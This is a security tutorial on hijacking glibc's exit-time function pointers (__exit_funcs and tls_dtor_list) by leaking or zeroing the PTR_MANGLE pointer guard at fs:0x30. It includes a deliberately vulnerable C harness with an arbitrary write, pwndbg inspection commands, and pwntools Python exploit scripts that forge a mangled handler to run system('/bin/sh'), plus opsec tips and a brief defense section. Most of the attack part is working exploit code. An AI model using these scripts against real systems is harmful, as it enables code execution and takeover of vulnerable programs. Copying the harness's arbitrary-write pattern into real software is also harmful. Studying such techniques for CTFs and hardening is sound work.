Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Every C program that returns from main or calls exit() runs a small sequence of teardown code: registered atexit/__cxa_atexit handlers, C++ static destructors, and per-thread TLS destructors. glibc drives this through __run_exit_handlers, walking linked lists of function pointers and calling each in turn. Those function pointers are an obvious exploitation target — corrupt the list, point an entry at system, and the program calls it for you on the way out — and for that reason glibc protects them with pointer mangling.
This article covers the exit-handler attack surface and the PTR_MANGLE protection that guards it. Unlike FSOP, which redirects stream vtables, exit-handler abuse targets the process-teardown machinery: the __exit_funcs list consumed by __run_exit_handlers, and the thread-local tls_dtor_list consumed by __call_tls_dtors. Both store their function pointers mangled with a per-process/thread guard, so the technique hinges on either leaking or overwriting that guard. We explain exactly how the mangling works — an XOR with fs:0x30 and a bit-rotate — and how to defeat it.
Attack Prerequisites
Exit-handler abuse converts a write primitive into execution at teardown. You need:
- An arbitrary write reaching either
__exit_funcs/theinitialexit_function_list, or the thread’stls_dtor_list(a TLS variable reached via the TCB). - Either the pointer-guard value or the ability to overwrite it. The stored pointer is
ROL(target XOR guard, 0x11); to forge it you must knowguard— or set the guard (atfs:0x30) to a value you control, most simply zero. - A libc leak to resolve
system/one_gadget and the exit-list symbols. - A clean exit path — the target must actually reach
exit()or return frommain._exit/_Exitbypass all of this, so confirm normal teardown occurs.
How It Works
exit() calls __run_exit_handlers, which walks __exit_funcs, a linked list of struct exit_function_list. Each node holds an array of struct exit_function, and each of those has a flavor tag (ef_free, ef_us, ef_on, ef_at, ef_cxa) and a union of function pointers. For the ef_cxa flavor (used by __cxa_atexit, which is how C++ static destructors and most modern atexit registrations are recorded) the handler is stored mangled: __run_exit_handlers demangles it with PTR_DEMANGLE before calling f->func.cxa.fn (f->func.cxa.arg, status). So an attacker who overwrites the fn field must write the *mangled* form of their target, and they control the arg field (first argument) directly.
PTR_MANGLE on x86-64 is two operations: XOR the pointer with a per-process pointer guard, then rotate left by 0x11 (17) bits — PTR_MANGLE(p) = ROL(p XOR guard, 0x11). PTR_DEMANGLE is the inverse (ROR by 17, then XOR). The guard is stored in the thread control block at fs:0x30 (the pointer_guard field of tcbhead_t), initialized from the same random source as the stack canary at startup. To forge a valid mangled handler you therefore compute ROL(system XOR guard, 0x11) — which requires the guard value. There are two ways to get it: leak fs:0x30 (or any known mangled pointer plus its plaintext, from which the guard can be recovered), or use your arbitrary write to overwrite fs:0x30 with 0, after which mangling degenerates to a plain ROL you can trivially reproduce.
The TLS destructor path is a close relative and is often easier. __call_tls_dtors walks a thread-local list, tls_dtor_list, of struct dtor_list nodes; each node has a func pointer and an obj argument. On exit (and thread exit) glibc pops each node and calls func(obj) — and func is also PTR_MANGLEd, demangled just before the call. If you can overwrite tls_dtor_list to point at a fake node whose func is your mangled target and whose obj is the argument you want (e.g. a pointer to "/bin/sh"), __call_tls_dtors invokes system("/bin/sh"). Because the same guard protects both paths, defeating the guard once unlocks both. A frequently used primitive against the non-TLS path is the *initial exit_function_list*: overwrite one of its ef_cxa entries in place rather than forging a whole new list node.
Vulnerable Code / Setup
A harness with an arbitrary write and a normal exit() is sufficient; adding a registered handler and a TLS-destructor object makes both lists present and inspectable:
// exitwr_demo.c
#include <stdio.h>
#include <stdlib.h>
static void bye(void) { } // an atexit/__cxa_atexit entry
int main(void) {
atexit(bye);
printf("libc: %p\n", (void *)&puts); // emulated leak
unsigned long addr, val;
while (scanf("%lu %lu", &addr, &val) == 2 && addr)
*(unsigned long *)addr = val; // arbitrary write
exit(0); // -> __run_exit_handlers -> demangle -> call each handler
}
CBuild and confirm the protections. The pointer guard is a libc/runtime property; the important verification is that the process reaches exit (not _exit) and that you can locate __exit_funcs:
$ gcc -no-pie -g -o exitwr_demo exitwr_demo.c
$ checksec --file=./exitwr_demo
RELRO: Partial | Canary: Yes | NX: Yes | PIE: No
# The pointer guard shares its origin with the canary; both live in the TCB.
BashWalkthrough / Exploitation
Inspect the exit machinery and the guard. pwndbg can dump the exit-function list and you can read the guard directly from the TCB:
gdb -q ./exitwr_demo
pwndbg> break main
pwndbg> run
pwndbg> p (void*)&__exit_funcs # or 'initial' exit_function_list
pwndbg> p/x *(unsigned long*)($fs_base + 0x30) # the pointer guard
pwndbg> tls # pwndbg: show TCB / fs_base
pwndbg> p (void*)&system
BashPath A — zero the guard, then forge. Overwriting fs:0x30 with 0 turns PTR_MANGLE into just ROL(p, 0x11), so a valid stored handler is simply ROL(system, 0x11). Overwrite an ef_cxa entry in the initial list with the rotated system and set its arg to "/bin/sh":
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io = process('./exitwr_demo')
libc.address = int(io.recvline().split()[-1], 16) - libc.sym['puts']
def W(a, v): io.sendline(b'%d %d' % (a, v))
def rol(v, n=0x11, bits=64): return ((v << n) | (v >> (bits-n))) & (2**bits-1)
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
fs_guard = libc.address + 0x0 # resolve real fs:0x30 addr for this thread
PythonWith the guard zeroed, write the mangled fn and the arg into the initial exit_function_list entry (its fn/arg field offsets are build-specific — read them from ptype struct exit_function):
# 1) neutralize the guard so mangling is a pure rotate
W(fs_guard, 0)
# 2) overwrite an ef_cxa entry: flavor=ef_cxa(4), fn=ROL(system), arg=binsh
INIT = libc.sym['__exit_funcs'] # -> initial list; entry fields follow
W(INIT + 0x18, 4) # flavor = ef_cxa
W(INIT + 0x20, rol(system)) # fn (mangled == plain ROL now)
W(INIT + 0x28, binsh) # arg -> '/bin/sh'
W(0, 0) # exit() -> demangle -> system('/bin/sh')
io.interactive()
PythonPath B — leak the guard, forge without touching fs:0x30. If you can read fs:0x30 (or recover it from a known mangled/plaintext pair), compute ROL(system XOR guard, 0x11) and write that; no guard overwrite is needed, which is stealthier and works even when fs:0x30 is not writable through your primitive:
guard = leak_pointer_guard() # from fs:0x30 or a mangled-ptr leak
mangled = rol(system ^ guard)
W(INIT + 0x18, 4); W(INIT + 0x20, mangled); W(INIT + 0x28, binsh)
W(0, 0)
PythonThe TLS-destructor variant is analogous: point tls_dtor_list at a fake dtor_list node with func = ROL(system XOR guard, 0x11) and obj = binsh; __call_tls_dtors demangles func and calls func(obj). Both paths execute during normal teardown, so the trigger is simply reaching exit(0).
Note: Recovering the guard without reading
fs:0x30directly is often possible: if you can leak any *mangled* pointer whose plaintext you know (for example a default__exit_funcsentry pointing at_dl_fini, whose address you can compute), thenguard = ROR(mangled, 0x11) XOR plaintext. This is the same algebra used to recover the stack canary from a leaked mangled value.
Opsec: Zeroing
fs:0x30is loud in one specific way: if any *other* mangled pointer is demangled after you zero the guard but before you overwrite it, that pointer demangles wrong and the process crashes. Prefer the leak-and-forge path when other handlers remain in the list, and always confirm the target reachesexit/return-from-main— an_exit/abortpath skips__run_exit_handlersentirely and the technique silently does nothing.
Detection and Defense
Pointer mangling is the built-in mitigation; the rest is denying the write and the guard leak:
- Keep
PTR_MANGLEeffective by denying pointer-guard leaks — the guard shares its entropy with the stack canary, so info-leak discipline protects both. Full RELRO + PIE + ASLR raise the cost of locating__exit_funcsandtls_dtor_list. - Constrain the arbitrary write that reaches these lists; hardened allocators, sanitizers, and CI fuzzing catch the upstream bug.
- Prefer minimizing atexit surface in high-assurance code; fewer registered handlers means fewer in-place forge targets, though
_dl_finiand TLS destructors remain. - Detection — crashes during
__run_exit_handlers/__call_tls_dtors, orfs:0x30reading as an implausible value in core dumps, are strong signs of an attempted forge; monitor for aborts localized to exit teardown.
Real-World Impact
Exit-handler abuse became prominent as glibc closed the easier options: with __free_hook/__malloc_hook removed in 2.34, __run_exit_handlers and the TLS destructor list are among the few remaining libc-resident, attacker-reachable function-pointer sinks — and they are reachable by nothing more than a normal program exit. The PTR_MANGLE guard is what keeps them from being trivial, and the recurring research theme is guard recovery: leaking fs:0x30, recovering it algebraically from a known mangled pointer, or overwriting it to zero. These techniques appear routinely in modern glibc CTF solutions alongside House of Apple 2, and the two are often interchangeable final stages for the same write primitive.
Conclusion
The exit path is a function-pointer buffet: __run_exit_handlers calls every __exit_funcs entry and __call_tls_dtors calls every tls_dtor_list node, all on an ordinary exit() or return from main. glibc guards the pointers with PTR_MANGLE — ROL(p XOR fs:0x30, 0x11) — so the whole technique reduces to defeating that guard: leak it and forge, or overwrite fs:0x30 with zero and rotate. It is the natural successor to hook overwrites on glibc 2.34+, needs only a write primitive and a clean exit, and — like all these libc techniques — depends on a version-checked understanding of the exact struct layouts involved.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments